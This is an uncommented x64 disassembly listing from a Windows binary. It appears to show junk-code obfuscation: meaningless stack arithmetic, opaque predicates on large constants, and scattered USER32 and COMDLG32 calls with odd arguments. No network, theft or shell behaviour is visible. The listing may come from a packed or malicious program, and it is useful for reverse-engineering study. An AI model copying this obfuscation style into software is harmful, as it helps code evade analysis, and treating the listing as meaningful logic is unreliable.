call qword [sym.imp.USER32.dll_GetSysColor]
mov dword [rsp + 0x3f9c], eax
mov dword [rsp + 0x3fa0], 0x11fc
movzx eax, word [rsp + 0x10e8]
mov word [rsp + 0x10f8], ax
mov rax, qword [rsp + 0x7588]
movabs rcx, 0xc2e5eec0829feba
mov rax, qword [rax]
sub rax, rcx
cmp rax, qword [rsp + 0x7570]
je 0x1401dcc01
mov eax, dword [rsp + 0x3aa0]
mov ecx, dword [rsp + 0x3f68]
and ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x3f74]
je 0x1401dcb1f
movsx eax, word [rsp + 0x10f4]
mov dword [rsp + 0x3fa4], eax
cmp dword [rsp + 0x3fa4], 0x21bf
je 0x140005a59
cmp dword [rsp + 0x3fa4], 0x476f
je 0x1400059b6
jmp 0x140005b15
mov eax, dword [rsp + 0x3aa0]
mov ecx, dword [rsp + 0x3f68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f74], eax
lea rax, [rsp + 0x196]
mov qword [rsp + 0x7590], rax
movsx eax, word [rsp + 0x10f4]
movsx ecx, word [rsp + 0x10ec]
add eax, ecx
mov word [rsp + 0xfa8], ax
mov rax, qword [rsp + 0x7548]
movzx eax, byte [rax]
mov byte [rsp + 0x197], al
movzx eax, word [rsp + 0x10f0]
mov word [rsp + 0x10fc], ax
lea rax, [rsp + 0xfa8]
mov qword [0x1401f94c0], rax
movsx eax, word [rsp + 0x10ec]
movsx ecx, word [section..data]
imul eax, ecx
mov word [rsp + 0xfa8], ax
lea rax, [rsp + 0x3f74]
mov qword [rsp + 0x7598], rax
jmp 0x140005b15
mov rax, qword [rsp + 0x7568]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f9c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f94], eax
movzx eax, byte [rsp + 0x194]
sub eax, 0xa0
movzx ecx, byte [rsp + 0x195]
cmp eax, ecx
jle 0x140005aac
mov eax, dword [rsp + 0x3f74]
mov ecx, dword [rsp + 0x3f68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7598]
mov dword [rcx], eax
jmp 0x140005b15
mov rax, qword [rsp + 0x7558]
mov rcx, qword [rsp + 0x7568]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7540]
mov edx, dword [rsp + 0x3f9c]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
ja 0x140005b15
mov rcx, qword [rsp + 0x75a0]
call qword [sym.imp.USER32.dll_GetWindowContextHelpId]
mov dword [rsp + 0x3fa8], eax
mov rax, qword [rsp + 0x7588]
mov rcx, qword [rsp + 0x7570]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7588]
mov qword [rcx], rax
call fcn.1401dd040
nop
cmp dword [rsp + 0x3f84], 0xe58
jb 0x1400060f5
movsx eax, byte [rsp + 0x197]
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x197]
add eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
movzx eax, word [rsp + 0x10e8]
movzx ecx, word [rsp + 0x10fc]
sub eax, ecx
mov word [rsp + 0x10f8], ax
movsx eax, word [section..data]
movsx ecx, word [rsp + 0xfa8]
sar eax, cl
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov rax, qword [0x1401f94c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfa8]
shl eax, cl
mov word [rsp + 0x10f4], ax
movsx eax, byte [rsp + 0x197]
movsx ecx, byte [rsp + 0x196]
or eax, ecx
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
mov eax, dword [rsp + 0x3f74]
mov ecx, dword [rsp + 0x3f68]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3aa0], eax
mov rax, qword [0x1401f94c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10ec]
and eax, ecx
mov word [rsp + 0x10f4], ax
mov rax, qword [rsp + 0x7588]
movabs rcx, 0x61779ddd22a506e0
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7570], rax
mov eax, dword [rsp + 0x3f64]
mov ecx, dword [rsp + 0x3f9c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7558]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7558]
mov ecx, dword [rsp + 0x3fa8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7558]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x196]
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
mov rax, qword [0x1401f94c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10ec]
add eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
movzx eax, word [rsp + 0x10fc]
movzx ecx, word [rsp + 0x10e8]
sub eax, ecx
mov word [rsp + 0x10f8], ax
movsx eax, byte [rsp + 0x197]
mov rcx, qword [rsp + 0x7548]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x196], al
mov rax, qword [rsp + 0x7598]
mov ecx, dword [rsp + 0x3aa0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7598]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7540]
mov ecx, dword [rsp + 0x3f64]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x7568]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7588]
mov rcx, qword [rsp + 0x7570]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x7588]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7588]
mov rax, qword [rax]
shl rax, 0x11
mov qword [rsp + 0x7570], rax
mov rax, qword [rsp + 0x7570]
sar rax, 0xc
mov rcx, qword [rsp + 0x7588]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x197]
mov rcx, qword [rsp + 0x7548]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
mov rax, qword [0x1401f94c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10ec]
sub eax, ecx
mov word [section..data], ax
movsx eax, byte [rsp + 0x197]
movsx ecx, byte [rsp + 0x196]
add eax, ecx
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
movzx eax, word [rsp + 0x10e8]
movzx ecx, word [rsp + 0x10f0]
add eax, ecx
mov word [rsp + 0x10f8], ax
mov rax, qword [rsp + 0x7588]
movabs rcx, 0x19f8be9efbe7dab7
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7570], rax
mov rax, qword [rsp + 0x7598]
mov ecx, dword [rsp + 0x3f74]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7598]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7558]
mov rcx, qword [rsp + 0x7568]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7540]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7558]
mov rcx, qword [rsp + 0x7540]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3f64], eax
mov rax, qword [0x1401f94c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10f4]
add eax, ecx
mov word [rsp + 0xfa8], ax
mov rax, qword [rsp + 0x7598]
mov ecx, dword [rsp + 0x3aa0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7598]
mov dword [rcx], eax
movsx eax, word [rsp + 0xfa8]
movsx ecx, word [rsp + 0x10f4]
xor eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7590]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7548]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x197], al
mov rax, qword [rsp + 0x7540]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7558]
mov qword [rsp + 0x75a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x75a8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x7558]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3f68]
movzx ecx, al
mov eax, dword [rsp + 0x3f74]
sar eax, cl
mov dword [rsp + 0x3aa0], eax
mov rax, qword [rsp + 0x7588]
movabs rcx, 0x1fbf6bc1fb29a6a4
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7570], rax
mov rax, qword [rsp + 0x7588]
movabs rcx, 0x6a0f2be1972f9e5f
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7570], rax
mov rax, qword [rsp + 0x7568]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f94]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7540]
mov dword [rcx], eax
movzx eax, word [rsp + 0x10f0]
movzx ecx, word [rsp + 0x10fc]
add eax, ecx
mov word [rsp + 0x10e8], ax
mov rax, qword [rsp + 0x7590]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x197]
sub eax, ecx
mov byte [rsp + 0x196], al
movsx eax, word [rsp + 0xfa8]
movsx ecx, word [rsp + 0x10ec]
sub eax, ecx
mov word [section..data], ax
mov rax, qword [0x1401f94c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfa8]
and eax, ecx
mov word [rsp + 0x10f4], ax
mov eax, dword [rsp + 0x3f84]
sub eax, 0x8e
mov dword [rsp + 0x3f84], eax
movzx eax, word [rsp + 0x10f0]
movzx ecx, word [rsp + 0x10e8]
add eax, ecx
mov word [rsp + 0x10fc], ax
mov eax, dword [rsp + 0x3fa8]
mov ecx, dword [rsp + 0x3f94]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7540]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7540]
mov ecx, dword [rsp + 0x3f94]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7540]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7588]
mov rcx, qword [rsp + 0x7570]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x7588]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3f74]
mov rcx, qword [rsp + 0x7598]
mov qword [rsp + 0x75b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x75b0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3aa0], eax
mov rax, qword [rsp + 0x7570]
mov rcx, qword [rsp + 0x7588]
mov qword [rsp + 0x75b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x75b8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x7588]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x196]
mov rcx, qword [rsp + 0x7548]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x197], al
movsx eax, word [rsp + 0x10f4]
movsx ecx, word [rsp + 0x10ec]
and eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
jmp 0x140005b15
movsx eax, word [rsp + 0x10f4]
mov dword [rsp + 0x3fac], eax
cmp dword [rsp + 0x3fac], 0x35d9
je 0x140006113
jmp 0x14000612a
movzx eax, byte [rsp + 0x195]
add eax, 0xf
mov byte [rsp + 0x194], al
jmp 0x1400061f3
lea rax, [rsp + 0x10f8]
mov qword [rsp + 0x75c0], rax
movabs rax, 0xad7f8104b89e8dea
mov qword [rsp + 0x75c8], rax
mov rax, qword [0x1401f94c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10f4]
sub eax, ecx
movsx ecx, word [rsp + 0xfa8]
movsx edx, word [rsp + 0x10ec]
sub ecx, edx
cmp eax, ecx
je 0x1400061ce
mov rax, qword [rsp + 0x7558]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f94]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7540]
mov dword [rcx], eax
lea rdx, [rsp + 0x75d0]
mov rcx, qword [rsp + 0x7528]
call qword [sym.imp.USER32.dll_KillTimer]
mov dword [rsp + 0x3f98], eax
mov eax, dword [rsp + 0x3f74]
mov ecx, dword [rsp + 0x3aa0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7598]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7588]
mov rax, qword [rax]
mov qword [rsp + 0x75d8], rax
mov rax, qword [0x1401f94c0]
movzx eax, word [rax]
mov word [rsp + 0x1100], ax
mov eax, dword [rsp + 0x3fa8]
mov ecx, dword [rsp + 0x3f64]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7568]
mov edx, dword [rsp + 0x3f94]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jae 0x140006270
movsx eax, word [rsp + 0x1100]
movsx ecx, word [rsp + 0x10f4]
shl eax, cl
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x197]
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x196], al
mov edx, 0x66
mov ecx, reloc.SHELL32.dll_SHTestTokenMembership
call qword [sym.imp.USER32.dll_SetCursorPos]
mov dword [rsp + 0x3fb0], eax
jmp 0x1401dcadd
mov rax, qword [rsp + 0x7598]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f68]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x3f74]
mov edx, dword [rsp + 0x3aa0]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x1401dcadd
mov rax, qword [rsp + 0x7558]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f64]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7568]
mov edx, dword [rsp + 0x3f9c]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jae 0x140006405
mov rax, qword [rsp + 0x75c8]
mov qword [rsp + 0x75e0], rax
movabs rax, 0x5a6a9950399b785e
cmp qword [rsp + 0x75e0], rax
je 0x1400062f8
jmp 0x1400063de
mov rax, qword [rsp + 0x7588]
mov rcx, qword [rsp + 0x75d8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7588]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7588]
mov rcx, qword [rsp + 0x75d8]
mov rax, qword [rax]
add rax, rcx
cmp rax, qword [rsp + 0x7570]
je 0x140006351
mov ecx, 0xb9
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov qword [rsp + 0x75e8], rax
jmp 0x1400063dc
movzx eax, word [rsp + 0x10fc]
movzx ecx, word [rsp + 0x10f8]
sub eax, ecx
mov rcx, qword [rsp + 0x75c0]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x10e8]
add ecx, edx
cmp eax, ecx
jl 0x1400063dc
mov rax, qword [rsp + 0x7598]
mov ecx, dword [rsp + 0x3f74]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3aa0], eax
mov rax, qword [rsp + 0x7540]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3f94]
shl eax, cl
mov rcx, qword [rsp + 0x7568]
mov dword [rcx], eax
lea rcx, [rsp + 0x7530]
call qword [sym.imp.USER32.dll_GetCaretPos]
mov dword [rsp + 0x3fb0], eax
movzx eax, byte [rsp + 0x195]
sar eax, 1
mov byte [rsp + 0x194], al
jmp 0x140006400
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
jmp 0x1401dca7b
lea rax, [rsp + 0x10f4]
mov qword [rsp + 0x75f0], rax
lea rax, [rsp + 0x10ec]
mov qword [rsp + 0x75f8], rax
movzx eax, byte [rsp + 0x195]
or eax, 0x3d
movzx ecx, byte [rsp + 0x194]
cmp eax, ecx
je 0x14000649b
movzx eax, word [rsp + 0x10e8]
mov rcx, qword [rsp + 0x75c0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10f8], ax
lea rax, [rsp + 0x7570]
mov qword [rsp + 0x7600], rax
lea rax, [rsp + 0x3f68]
mov qword [rsp + 0x7608], rax
lea rax, [rsp + 0x3fa8]
mov qword [rsp + 0x7610], rax
mov rax, qword [rsp + 0x75c8]
mov qword [rsp + 0x7618], rax
jmp 0x1400064b8
lea rdx, [rsp + 0x3aa0]
mov rcx, qword [rsp + 0x75a0]
call qword [sym.imp.USER32.dll_GetWindowInfo]
mov dword [rsp + 0x3f98], eax
cmp dword [rsp + 0x3f7c], 0x47a5
jbe 0x140006679
movzx eax, word [rsp + 0x10e8]
movzx ecx, word [rsp + 0x10f0]
and eax, ecx
mov rcx, qword [rsp + 0x75c0]
mov word [rcx], ax
mov eax, dword [rsp + 0x3f7c]
sub eax, 0xdd
mov dword [rsp + 0x3f7c], eax
mov rax, qword [rsp + 0x75f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x75f8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0x75f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x75f0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x75f8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x197]
movsx ecx, byte [rsp + 0x196]
sub eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
movsx eax, word [rsp + 0x1100]
movsx ecx, word [section..data]
add eax, ecx
mov rcx, qword [rsp + 0x75f0]
mov word [rcx], ax
mov eax, dword [rsp + 0x3aa0]
mov ecx, dword [rsp + 0x3f74]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7598]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3f64]
mov ecx, dword [rsp + 0x3f9c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7558]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3f68]
mov ecx, dword [rsp + 0x3f74]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7598]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7600]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7588]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7558]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3f94]
shr eax, cl
mov rcx, qword [rsp + 0x7568]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7590]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x197]
shl eax, cl
mov byte [rsp + 0x196], al
mov rax, qword [rsp + 0x75f0]
movsx eax, word [rax]
movsx ecx, word [section..data]
or eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
movzx eax, word [rsp + 0x10fc]
movzx ecx, word [rsp + 0x10f0]
xor eax, ecx
mov rcx, qword [rsp + 0x75c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x194]
and eax, 0x1d
mov byte [rsp + 0x195], al
jmp 0x1400064b8
mov rax, qword [rsp + 0x7598]
mov eax, dword [rax]
mov dword [rsp + 0x3f68], eax
mov dword [rsp + 0x3fb4], 0x10bb6
mov rax, qword [rsp + 0x7618]
mov qword [rsp + 0x7620], rax
movabs rax, 0xad7f8104b89e8dea
cmp qword [rsp + 0x7620], rax
je 0x1400066be
jmp 0x1401dc9cf
lea rax, [rsp + 0x10e8]
mov qword [rsp + 0x7628], rax
lea rax, [rsp + 0x195]
mov qword [rsp + 0x7630], rax
mov eax, dword [rsp + 0x3f94]
mov dword [rsp + 0x3fb8], eax
cmp dword [rsp + 0x3fb8], 0
je 0x14000673b
cmp dword [rsp + 0x3fb8], 0xa229649f
je 0x140006708
jmp 0x14000687f
mov rcx, qword [rsp + 0x7638]
call qword [sym.imp.USER32.dll_SetCapture]
mov qword [rsp + 0x7520], rax
mov rax, qword [rsp + 0x7630]
movzx edx, byte [rax]
movzx ecx, word [section..data]
call fcn.1401ddfb0
nop
jmp 0x14000687f
mov rax, qword [rsp + 0x7618]
mov qword [0x1401f94c8], rax
mov dword [rsp + 0x3fbc], 0xce66
mov rax, qword [rsp + 0x7618]
mov rcx, qword [rsp + 0x75c8]
sub rcx, rax
mov rax, rcx
cmp rax, qword [0x1401f94c8]
jbe 0x14000687f
movzx eax, byte [rsp + 0x195]
mov byte [rsp + 0x3fc0], al
cmp byte [rsp + 0x3fc0], 0x70
je 0x1400067a4
cmp byte [rsp + 0x3fc0], 0x9e
je 0x140006860
jmp 0x14000687f
movzx eax, word [rsp + 0x10fc]
mov rcx, qword [rsp + 0x7628]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x75c0]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x10f0]
sub ecx, edx
cmp eax, ecx
jne 0x14000685e
mov rax, qword [rsp + 0x75c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7628]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x75c0]
mov word [rcx], ax
lea rdx, [rsp + 0x7590]
mov rcx, qword [rsp + 0x7520]
call qword [sym.imp.USER32.dll_KillTimer]
mov dword [rsp + 0x3f98], eax
mov rax, qword [0x1401f94c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfa8]
sub eax, ecx
mov word [rsp + 0x1100], ax
mov rax, qword [rsp + 0x75f0]
movzx r9d, word [rax]
mov r8d, dword [rsp + 0x3aa0]
mov rax, qword [rsp + 0x75f8]
movzx edx, word [rax]
mov ecx, dword [rsp + 0x3aa0]
call fcn.1401dce30
nop
jmp 0x14000687f
mov rax, qword [rsp + 0x7590]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x196]
shl eax, cl
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
mov rax, qword [rsp + 0x75f8]
movsx eax, word [rax]
mov dword [rsp + 0x3fc4], eax
cmp dword [rsp + 0x3fc4], 0x17bb
je 0x14000696b
cmp dword [rsp + 0x3fc4], 0x476f
je 0x1400068b4
jmp 0x140006a9b
lea rax, [rsp + 0x75c8]
mov qword [rsp + 0x7640], rax
mov eax, dword [rsp + 0x3f74]
mov dword [rsp + 0x3fc8], eax
cmp dword [rsp + 0x3fc8], 0x187204a8
je 0x1400068e1
jmp 0x14000695b
mov eax, dword [rsp + 0x3fa8]
mov ecx, dword [rsp + 0x3f9c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f64], eax
mov dword [rsp + 0x30], 0x6b
mov dword [rsp + 0x28], 0x24
mov dword [rsp + 0x20], 0x24
mov r9d, 0xc3
mov r8d, 0xfe
mov rdx, qword [rsp + 0x7528]
mov rcx, qword [rsp + 0x7648]
call qword [sym.imp.USER32.dll_SetWindowPos]
mov dword [rsp + 0x3fcc], eax
mov rax, qword [rsp + 0x7608]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3aa0]
sar eax, cl
mov rcx, qword [rsp + 0x7598]
mov dword [rcx], eax
mov dword [rsp + 0x3fd0], 0xd7d4
jmp 0x140006a9b
movzx eax, byte [rsp + 0x196]
mov byte [rsp + 0x3fd4], al
cmp byte [rsp + 0x3fd4], 0x3f
je 0x140006a7f
cmp byte [rsp + 0x3fd4], 0x45
je 0x140006997
jmp 0x140006a9b
mov rax, qword [rsp + 0x7600]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7570]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x75d8], rax
mov rax, qword [rsp + 0x75f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x75f8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x75f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7588]
mov rax, qword [rax]
mov qword [rsp + 0x7650], rax
movabs rax, 0x2815de61a9bcf757
cmp qword [rsp + 0x7650], rax
je 0x140006a18
movabs rax, 0x57448b47f8578142
cmp qword [rsp + 0x7650], rax
je 0x140006a70
jmp 0x140006a7d
mov rdx, qword [rsp + 0x7658]
lea rcx, [rsp + 0x195]
call qword [sym.imp.USER32.dll_PtInRect]
mov dword [rsp + 0x3fb0], eax
mov rax, qword [rsp + 0x7640]
mov rcx, qword [rsp + 0x75c8]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401f94c8], rax
movzx eax, byte [rsp + 0x195]
movzx ecx, byte [rsp + 0x194]
sub eax, ecx
mov rcx, qword [rsp + 0x7630]
mov byte [rcx], al
jmp 0x140006a7d
call qword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [rsp + 0x3fa8], eax
jmp 0x140006a9b
movsx eax, byte [rsp + 0x197]
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x196], al
mov rax, qword [rsp + 0x75f0]
movsx eax, word [rax]
mov dword [rsp + 0x3fd8], eax
cmp dword [rsp + 0x3fd8], 0
je 0x140006b1b
cmp dword [rsp + 0x3fd8], 0x199c
je 0x140006ac9
jmp 0x1401dc9ab
lea rcx, [rsp + 0x2e240]
call qword [sym.imp.COMDLG32.dll_ChooseFontA]
mov dword [rsp + 0x3fcc], eax
movsx eax, byte [rsp + 0x197]
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
mov rax, qword [rsp + 0x7630]
movzx edx, byte [rax]
movzx ecx, word [rsp + 0x1100]
call fcn.1401ddfb0
nop
jmp 0x1401dc9ab
mov rax, qword [rsp + 0x7588]
mov rcx, qword [rsp + 0x75d8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7588]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7640]
mov rcx, qword [rsp + 0x75c8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7618], rax
mov eax, dword [rsp + 0x3aa0]
mov ecx, dword [rsp + 0x3f74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f68], eax
mov rax, qword [rsp + 0x7540]
mov ecx, dword [rsp + 0x3fa8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7568]
mov dword [rcx], eax
mov rax, qword [rsp + 0x75c8]
mov rcx, qword [rsp + 0x7640]
mov qword [rsp + 0x7660], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7660]
mov rax, qword [rax]
shl rax, cl
mov qword [0x1401f94c8], rax
mov rax, qword [rsp + 0x7630]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x194]
or eax, ecx
mov byte [rsp + 0x195], al
movsx eax, word [rsp + 0x10ec]
movsx ecx, word [rsp + 0x10f4]
xor eax, ecx
mov word [rsp + 0xfa8], ax
mov rax, qword [rsp + 0x75c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7628]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x75c0]
mov word [rcx], ax
movsx eax, word [rsp + 0x1100]
movsx ecx, word [rsp + 0xfa8]
and eax, ecx
mov rcx, qword [rsp + 0x75f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7588]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7570]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x75d8], rax
mov rax, qword [rsp + 0x7640]
mov rcx, qword [rsp + 0x7618]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7640]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3f74]
mov ecx, dword [rsp + 0x3f68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7608]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7540]
mov ecx, dword [rsp + 0x3f64]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3f94], eax
mov rax, qword [0x1401f94c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x75f8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7628]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x75c0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7628]
mov word [rcx], ax
movsx eax, word [rsp + 0x10ec]
mov rcx, qword [0x1401f94c0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x75f8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x196]
mov rcx, qword [rsp + 0x7548]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0x7630]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x194], al
mov rax, qword [rsp + 0x7608]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3f68]
sar eax, cl
mov dword [rsp + 0x3f74], eax
mov rax, qword [rsp + 0x7600]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75d8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7570], rax
mov eax, dword [rsp + 0x3fa8]
mov dword [rsp + 0x3f9c], eax
mov rax, qword [rsp + 0x7640]
mov rcx, qword [rsp + 0x7618]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x75c8], rax
mov rax, qword [rsp + 0x75f0]
movsx eax, word [rax]
